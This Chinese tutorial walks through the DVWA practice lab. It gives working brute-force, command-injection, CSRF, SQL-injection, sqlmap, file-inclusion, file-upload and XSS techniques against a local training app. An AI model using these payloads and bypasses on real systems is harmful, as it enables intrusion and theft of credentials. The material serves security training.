DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA 一共包含了十个攻击模块,分别是:Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、- File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境。
DVWA 还可以手动调整靶机源码的安全级别,分别为 Low,Medium,High,Impossible,级别越高,安全防护越严格,渗透难度越大。
一般 Low 级别基本没有做防护或者只是最简单的防护,很容易就能够渗透成功;而 Medium 会使用到一些非常粗糙的防护,需要使用者懂得如何去绕过防护措施;High 级别的防护则会大大提高防护级别,一般 High 级别的防护需要经验非常丰富才能成功渗透;
最后 Impossible 基本是不可能渗透成功的,所以 Impossible 的源码一般可以被参考作为生产环境 Web 防护的最佳手段。
链接:https://pan.baidu.com/s/1WfmvxbHG26UdKZXNzeolqA
提取码:xbaq
1、将下载完成后的压缩包,解压,并放在phpstudy的www目录下【可根据需要是否需要对文件重命名
】,为了方便,重命名DVWA
2、访问127.0.0.1/dvwa【Windows系统 URL不区分大小写】
3、打开dvwa文件夹下的config文件下
4、使用编辑器打开该文件,需要将db_user和db_password修改为对应数据库的用户名和密码
7、修改后,保存
8、将config.inc.php.dist文件 重命名为config.inc.php
9、再次访问http://127.0.0.1/dvwa
10、滑动页面到最后,点击create/reset database 按钮
11、用户登录
12、默认账号密码: 账号–admin,密码–password
在页面内右键把包放到intrude测试器模块
1.点击清除把所有变量清除
2.分别双击输入的用户名和密码,点击添加,变为有效载荷
3.选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式
Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破
点击有效载荷,设置参数字典
设置用户名字典
字典跑完后,点击“长”使其按顺序或逆序排列,查看返回的数字,发现有数字和其他大多数数字不同即代表攻击成功
查看响应,显示攻击成功
源码分析:low等级只是把输入的用户名和密码放到数据库去查询并返回结果,并没有做任何的限制,只要字典够强大,很容易就跑出来
Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,但无伤大雅,low等级能跑出来的Medium也能跑出来,接下来就让我们分析一下Medium等级的源码吧
源码分析:Medium等级中分别对用户名和密码进行了查询,提高了安全性,主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果
源码分析:high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码
为了测试方便,这里我假设知道用户名就是admin,只爆破密码(带token),实际情况中可以考虑先找到正确的用户名或密码再针对性的爆破,不然工作量太大
爆破阶段:
1.输入用户名admin,密码任意
2.开启代理,使用burpsuite抓包
转到测试器模块——位置
1.清除所有变量
2.选中密码变量和token变量并添加为载荷
3.选择第三种攻击类型——音叉攻击,表示使用两个字典,密码和token的值进行逐行匹配
转到有效载荷
设置密码参数,添加字典
设置token参数
跳转到options选项页面
1.修改线程为1,大于1可能会有问题,因为token是每次验证完后才会新生成token,所以不能使用多线程进行爆破
2.下拉找到Grep——extract(这里是为了从我们的请求中提取到token,分辨特征,以便为每个密码找到对应的token)
3.勾选“从响应中提取以下项目”,点击添加
在弹出的界面里点击获取回复,从回复的数据里找到token的值,双击选中,上半部分的页面会自动分辨填值,得到token的特征,方便从回复中找到token,这里的token要复制一遍,方便在后面直接填充
回到有效载荷页面
设置第二个参数——token,有效载荷类型改为递归搜索,英文为recursive grep。
在第一个请求的初始有效负载部分把我们复制的token粘贴上去
设置完毕,开始爆破!
爆破时发现有两个返回的数字不一样,发现密码为password时返回的html页面提示登录成功
网站提示我们输入ip地址
尝试输入本机ip地址,127.0.0.1,点击提交,发现返回的数据和我们在cmd命令行里面执行ping 127.0.0.1的结果相似。网页端由于编码的问题所以有些是乱码
乱码解决办法:
在C:\phpStudy\PHPTutorial\WWW\DVWA\dvwa\includes目录下有个dvwaPage.ini.php文件,双击打开(这个路径根据自己电脑上dvwa的安装位置自行调整)
在文件中ctrl+f,用搜索栏查找utf-8,将UTF-8改为GBK或者GB2312即可
再进行一次测试,输入127.0.0.1,结果与在本机使用ping命令完全一致,说明这里可以让我们执行ping命令。
源码分析:对输入的ip地址进行ping操作,源码只让我们进行ping操作,没有其他动作,但它给了我们一个利用系统命令的平台。我们能不能在执行ping命令操作的同时执行其他命令呢?
这里我们要说一下命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令
我们使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入
结果显示注入成功!
命令:127.0.0.1 | dir
直接分析源码看看和Low等级有什么区别
源码分析:发现在Low等级源码的基础上添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入
使用‘&’命令连接符注入
命令:127.0.0.1 & dir
源码分析:发现还是一样的套路,也是过滤字符但过滤得更多了。但仔细观察发现有一个过滤是’| ‘,注意这个过滤是加了空格的,说明这个过滤其实是没用的,只需要’|’后面直接加入参数,不保留空格,我们依然可以用这个命令连接符进行命令注入
使用’|’连接符进行注入
命令:127.0.0.1 |dir
网站的本意是让我们在网站里更改密码
但是能够主要到当我们更改密码成功后url栏的参数是这样的
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
可以分析出password_new是我输入的密码,password_conf是我确认的密码,说明我们在网站上输入的信息是会在url栏这里进行一个传输执行
抓个包看看,发现url栏的信息和请求的信息是一致的
那是不是说明如果我能控制url栏里传入的参数,就能够不在网站内执行更改密码的操作呢?
更改url的参数:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=456789&password_conf=456789&Change=Change#
只需要在原来的url基础上该新密码和确认密码的参数即可
为了显示效果,我使当前页面是密码不匹配状态
在新标签内放入设置好的url,点击执行
页面跳转到了dvwa的更改密码界面,csrf攻击成功
网站的本意是在网站内更改密码,而我通过控制url的传参就能使我能在网站之外执行更改密码的操作,那么当我知道一个网站有csrf漏洞后也可以通过构造url的方式让别人点击执行他意想之外的行为
源码分析:源码中只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,没有任何过滤,所以能轻易执行csrf漏洞
源码分析:和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作
源码是通过referrer这个字段的参数进行判断的,通常情况下在增加referrer验证时就是网站本身当前页面的ip地址,我们通过抓包看看信息
构造一个页面,里面放一个a标签,链接为更改密码的url,当受害者点击时就会触发更改密码的操作,我们只需要把这个html页面的位置放在和网站同一个目录下,即在自己的电脑上构造一个访问目标网站域名的html文件
设计a标签
设计的url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
网站的ip地址为:172.16.16.108
把设计的html页面名字改为网站的ip地址,里面的a标签就是更改密码的操作
打开html页面,点击a标签,触发攻击
源码分析:可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token,获得用户token的方式有两种:
这里为了方便,就假设我通过xss存储型漏洞获得了token,而将token拼接到medium等级的表单中完成攻击
获得的token:20f07053354bf93a94e3bb45e2923312
在原来的表单中将token进行拼接
攻击完成
当网站添加了token验证时这个网站就已经很不好绕过了,所以最好的防护csrf的方法也是网站执行操作时添加token
1、输入User ID显示对应的name,并且输入的ID值在URL栏中
2、猜测 可能通过ID值带入数据库中进行查询,判断是否存在注入
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 and 1=2 &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' -- qwe &Submit=Submit#
存在注入点,且单引号闭合
3、判断字段数,order by 5【使用二分法】
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 5 -- qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 2 -- qwe &Submit=Submit#
字段数为2
4、联合注入,观测显示位【回显点】
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select 1,2 -- qwe &Submit=Submit#
5、查看当前数据库的版本号,及当前数据库名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),database() -- qwe &Submit=Submit#
6、输出当前数据库下的所有表名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe &Submit=Submit#
7、查询users表下面的所有字段名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe &Submit=Submit#
8、查询users 表中的user、password字段数据
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 0,1 -- qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 3,1 -- qwe &Submit=Submit#
1、选择不同的ID显示对应的name,并且没有在URL中传参
2、猜测是否通过POST猜测,对当前页面抓包
抓取到传参1的数据包
将当前数据库发送到repeater模块中,进行重发包
将id修改为4
3、判断是否存在注入
数字型注入
4、判断字段数 order by
字段数为2
5、联合注入判断会显点
6、判断当前数据库版本号
7、查询当前数据库下所有的表名
8、查询users表下面的所有字段名
语法错误,猜测是否单引号的问题呢,由于MySQL默认支持16进制编解码,故对users进行16进制编码
9、查询users表中的user和password字段数据
1、当访问页面时,发现通过一个链接才能修改对应的ID
2、点击链接,传参
3、判断是否存在注入点
单引号闭合
4、判断字段数, order by
1' order by 3 -- qwe
1' order by 2 -- qwe
5、观察显示位
1' union select 1,2-- qwe
6、输出当前数据库版本号,当前数据库名
123' union select version(),database()-- qwe
7、查询当前数据库下的所有表名
123' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
8、查询users表下的所有字段数
123' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe
9、查询users表中的user和password字段
123' union select user,password from users limit 0,1 -- qwe
1、当输入user ID后显示用户ID存在
当输入的ID数值特别大时
2、满足布尔盲注场景,使用SQLMap自动化注入
会显示302跳转是为什么呢?
当我们直接访问该链接的时候,会要求我们进行登录,故需要cookie值、
3、获取当前用户的cookie值
document.cookie
4、将当前的cookie信息用SQLmap跑包
>python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch
–batch:在进行命令交互式的时候,默认选择为YES
5、指定布尔盲注类型
https://xbxaq.com/doc/98/
python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B
6、查询当前数据库
python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B --current-db
7、查询当前数据库下的表名
8、查询users表下的字段名
9、查询数据
1、选择不同的ID,返回的结果都为User ID exists in the database.,并且URL栏中没有相关传参,猜测可能使用了POST传参,对当前页面抓取数据包
2、发送到repeater模块中
鼠标停留在数据包页面,点击右键
3、修改id=1为id=123
页面发生了变化,满足布尔类型的盲注
4、使用sqlmap自动化注入
将当前页面的数据包信息,复制到本地的txt文本里面,并在id=处标记*号
将文本保存在sqlmap的根目录
5、sqlmap跑post型数据包,-r
6、查询当前数据库
7、查询dvwa库下的所有表
8、查询users表下的所有字段
9、查询数据
1、访问页面后,访问链接改变ID
2、访问链接,并且传参为2
传参为123时
3、满足布尔盲注条件,使用sqlmap自动化跑包
由于这里输入时一个url,响应是另一个URL
故使用参数–second-url= (设置二阶响应的结果显示页面的url)
传参是使用的POST型,故抓取请求包
传参为id=2&Submit=Submit
4、整体命令为
python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/" --cookie="id=2; security=high; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch
5、指定攻击类型为布尔盲注
python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/" --cookie="id=2; security=high; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B
6、查询当前数据库
7、查询dvwa下的表名
8、查询users表中的字段名
9、查询数据
1、访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启
allow_url_include参数表示可以远程利用文件包含漏洞
修改为On,并且重启服务
再次访问则没有此信息
2、通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数
3、对page传参为http://127.0.0.1/1.php
成功解析
1、通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数
2、对page传参为http://127.0.0.1/1.php
进行了报错
3、查看源码
如果传参值中有http:// https:// …/ …\都将替换为空
4、如果传入的是htthttp://p://127.0.0.1/1.php
1、直接看后端源代码
关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。
2、可利用file协议进行读文件
首先我们准备一个一句话木马文件
123.php
<?php phpinfo();?>
1、访问页面有一个文件上传点
2、直接上传123.php
3、访问文件
1、直接上传123.php文件
2、修改123.php文件名为456.jpg,上传时通过burp抓取上传请求包,将456.jpg修改为456.php
3、上传成功 访问文件
1、当我们使用第二关的方式时,显示
2、查询后端源代码
strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写
对后缀名进行了判断
3、可通过文件包含漏洞结合使用,首先制作图片马
上传666.jpg
获取666.jpg的链接地址
http://127.0.0.1/dvwa/hackable/uploads/666.jpg
4、使用文件包含漏洞模块中的low关, 进行加载图片,成功解析
cookie
位于用户的计算机上,用来维护用户计算机中的信息,直到用户删除。比如我们在网页上登录某个软件时输入用户名及密码时如果保存为cookie,则每次我们访问的时候就不需要登录网站了。我们可以在浏览器上保存任何文本,而且我们还可以随时随地的去阻止它或者删除。我们同样也可以禁用或者编辑cookie,但是有一点需要注意不要使用cookie来存储一些隐私数据,以防隐私泄露。
session
session称为会话信息,位于web服务器上,主要负责访问者与网站之间的交互,当访问浏览器请求http地址时,将传递到web服务器上并与访问信息进行匹配, 当关闭网站时就表示会话已经结束,网站无法访问该信息了,所以它无法保存永久数据,我们无法访问以及禁用网站。
session与cookie的区别
(1)Cookie以文本文件格式存储在浏览器中,而session存储在服务端它存储了限制数据量。它只允许4kb它没有在cookie中保存多个变量。
(2)cookie的存储限制了数据量,只允许4KB,而session是无限量的
(3)我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全
(4)设置cookie时间可以使cookie过期。但是使用session-destory(),我们将会销毁会话。
总结:如果我们需要经常登录一个站点时,最好用cookie来保存信息,如果对于需要安全性高的站点以及控制数据的能力时需要用会话效果更佳,也可以结合两者,使网站按照我们的想法进行运行。
1、访问页面,当在其他浏览器中重新打开该界面时要求重新进行登录
http://172.16.16.246/dvwa/vulnerabilities/weak_id/
2、对当前页面进行抓包
将cookie这行信息取出来,在火狐浏览器的插件Max hackbar
1、观察界面,当选择不同的标签时,URL栏中的default也会发生变化
default有可能是个传参点
2、传入xss代码
1、与第一关系统,选择不同的标签,default也会发生变化
2、传入代码,当我们传入时,会强制跳转到English
3、分析源代码
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在返回 true,键名不存在则返回 false。
stripos() 函数查找字符串在另一字符串中第一次出现的位置
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE
相同于过滤了
1、同样对name传入xss代码
1、访问页面,传入参数
2、传参XSS代码
3、分析源代码
对
发现name处存在字符限制
并且限制为前端限制
3、修改最大长度的值就可以了
1、同样先修改字符限制,在写入XSS代码
貌似
1、直接传入第二关的XSS双写代码
2、尝试使用事件型